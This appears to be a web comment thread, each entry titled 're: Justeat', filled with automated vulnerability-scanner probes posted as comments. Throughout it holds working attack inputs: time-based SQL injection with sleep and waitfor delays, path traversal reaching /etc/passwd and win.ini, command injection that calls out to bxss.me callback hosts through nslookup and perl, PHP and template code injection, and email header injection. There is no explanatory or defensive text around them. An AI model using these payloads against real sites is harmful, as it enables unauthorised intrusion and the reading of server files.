KPMdujLn')) OR 61=(SELECT 61 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@mwFYA
re: Justeat
1L5YsDQcO
re: Justeat
response.write(9095352*9273221)
re: Justeat
%0abcc:074625.67-10138.67.a3576.19990.2@bxss.me
re: Justeat
'+response.write(9095352*9273221)+'
re: Justeat
to@example.com>%0d%0abcc:074625.67-10139.67.a3576.19990.2@bxss.me
re: Justeat
"+response.write(9095352*9273221)+"
re: Justeat
../../../../../../../../../../../../../../etc/passwd
re: Justeat
<esi:include src="http://bxss.me/rpb.png"/>
re: Justeat
../../../../../../../../../../../../../../windows/win.ini
re: Justeat
${9999381+10000375}
re: Justeat
file:///etc/passwd
re: Justeat
../../../../../../../../../../../../../../../proc/version
re: Justeat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Justeat
../../../../../../../../../../etc/passwd%00.jpg
re: Justeat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Justeat
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Justeat
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Justeat
)
re: Justeat
/etc/passwd
re: Justeat
!(()&&!|*|*|
re: Justeat
%2fetc%2fpasswd
re: Justeat
echo ahsbum$()\ xprlbw\nz^xyu||a #' &echo ahsbum$()\ xprlbw\nz^xyu||a #|" &echo ahsbum$()\ xprlbw\nz^xyu||a #
re: Justeat
^(#$!@#$)(()))******
re: Justeat
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Justeat
&echo bccpgg$()\ icmgsm\nz^xyu||a #' &echo bccpgg$()\ icmgsm\nz^xyu||a #|" &echo bccpgg$()\ icmgsm\nz^xyu||a #
re: Justeat
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Justeat
|echo sjgojf$()\ bsloes\nz^xyu||a #' |echo sjgojf$()\ bsloes\nz^xyu||a #|" |echo sjgojf$()\ bsloes\nz^xyu||a #
re: Justeat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Justeat
(nslookup hitjaqjygsagd8163f.bxss.me||perl -e "gethostbyname('hitjaqjygsagd8163f.bxss.me')")
re: Justeat
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Justeat
$(nslookup hitnfewpcpimzdbd75.bxss.me||perl -e "gethostbyname('hitnfewpcpimzdbd75.bxss.me')")
re: Justeat
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Justeat
&nslookup hitgoeljwkorqcd80c.bxss.me&'\"`0&nslookup hitgoeljwkorqcd80c.bxss.me&`'
re: Justeat
'.gethostbyname(lc('hityx'.'yyicyuak0de22.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(120).chr(73).'
re: Justeat
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Justeat
&(nslookup hitdteeygxpicc975e.bxss.me||perl -e "gethostbyname('hitdteeygxpicc975e.bxss.me')")&'\"`0&(nslookup hitdteeygxpicc975e.bxss.me||perl -e "gethostbyname('hitdteeygxpicc975e.bxss.me')")&`'
re: Justeat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Justeat
".gethostbyname(lc("hitmz"."xkdtgyrb75283.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(86).chr(110).chr(74)."
re: Justeat
file:///etc/passwd
re: Justeat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Justeat
|(nslookup hithsjlbzdklyb8d2a.bxss.me||perl -e "gethostbyname('hithsjlbzdklyb8d2a.bxss.me')")
re: Justeat
/\../\../\../\../\../\../\../etc/passwd
re: Justeat
Http://bxss.me/t/fit.txt
re: Justeat
`(nslookup hitdlikwyxotgeec52.bxss.me||perl -e "gethostbyname('hitdlikwyxotgeec52.bxss.me')")`
re: Justeat
/WEB-INF/web.xml
re: Justeat
http://bxss.me/t/fit.txt%3F.jpg
re: Justeat
;(nslookup hitluhcjdbkdfa77b8.bxss.me||perl -e "gethostbyname('hitluhcjdbkdfa77b8.bxss.me')")|(nslookup hitluhcjdbkdfa77b8.bxss.me||perl -e "gethostbyname('hitluhcjdbkdfa77b8.bxss.me')")&(nslookup hitluhcjdbkdfa77b8.bxss.me||perl -e "gethostbyname('hitluhcjdbkdfa77b8.bxss.me')")
re: Justeat
C:\WINDOWS\system32\drivers\etc\hosts
re: Justeat
/etc/shells
re: Justeat
../../../../../../../../../../windows/win.ini%00.jpg
re: Justeat
c:/windows/win.ini
re: Justeat
/../../../../../../../../../../boot.ini
re: Justeat
bxss.me
re: Justeat
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Justeat
HttP://bxss.me/t/xss.html?%00
re: Justeat
..\..\..\..\..\..\..\..\windows\win.ini
re: Justeat
bxss.me/t/xss.html?%00
re: Justeat
"+"A".concat(70-3).concat(22*4).concat(102).concat(80).concat(119).concat(80)+(require"socket"
Socket.gethostbyname("hitpf"+"qoxxljseac16b.bxss.me.")[3].to_s)+"
re: Justeat
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Justeat
'+'A'.concat(70-3).concat(22*4).concat(108).concat(73).concat(110).concat(75)+(require'socket'
Socket.gethostbyname('hiter'+'mcqaymbg89433.bxss.me.')[3].to_s)+'
re: Justeat
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Justeat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Justeat
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Justeat
';print(md5(31337));$a='
re: Justeat
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Justeat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Justeat
";print(md5(31337));$a="
re: Justeat
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Justeat
${@print(md5(31337))}
re: Justeat
WEB-INF/web.xml
re: Justeat
${@print(md5(31337))}\
re: Justeat
'"
re: Justeat
WEB-INF\web.xml
re: Justeat
'.print(md5(31337)).'
re: Justeat
<!--
re: Justeat
1
re: Justeat
1
re: Justeat
-1 OR 2+23-23-1=0+0+0+1 --
re: Justeat
-1 OR 3+23-23-1=0+0+0+1 --
re: Justeat
-1 OR 2+691-691-1=0+0+0+1
re: Justeat
-1 OR 3+691-691-1=0+0+0+1
re: Justeat
-1' OR 2+468-468-1=0+0+0+1 --
re: Justeat
-1' OR 3+468-468-1=0+0+0+1 --
re: Justeat
-1' OR 2+174-174-1=0+0+0+1 or 'gdaDOJub'='
re: Justeat
-1' OR 3+174-174-1=0+0+0+1 or 'gdaDOJub'='
re: Justeat
-1" OR 2+311-311-1=0+0+0+1 --
re: Justeat
-1" OR 3+311-311-1=0+0+0+1 --
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
AxXcBu3R'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 257=(SELECT 257 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 431=(SELECT 431 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 808=(SELECT 808 FROM PG_SLEEP(15))--
re: Justeat
U4CeYX5Z' OR 246=(SELECT 246 FROM PG_SLEEP(15))--
re: Justeat
ApQwxvZd') OR 363=(SELECT 363 FROM PG_SLEEP(15))--
re: Justeat
BpGli8TG')) OR 10=(SELECT 10 FROM PG_SLEEP(15))--
re: Justeat
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@LfyhH
re: Justeat
1
re: Justeat
1
re: Justeat
1
re: Justeat
1BF5EDPZ580
re: Justeat
response.write(9141818*9454403)
re: Justeat
'+response.write(9141818*9454403)+'
re: Justeat
"+response.write(9141818*9454403)+"
re: Justeat
../../../../../../../../../../../../../../etc/passwd
re: Justeat
../../../../../../../../../../../../../../windows/win.ini
re: Justeat
<esi:include src="http://bxss.me/rpb.png"/>
re: Justeat
file:///etc/passwd
re: Justeat
${10000352+9999828}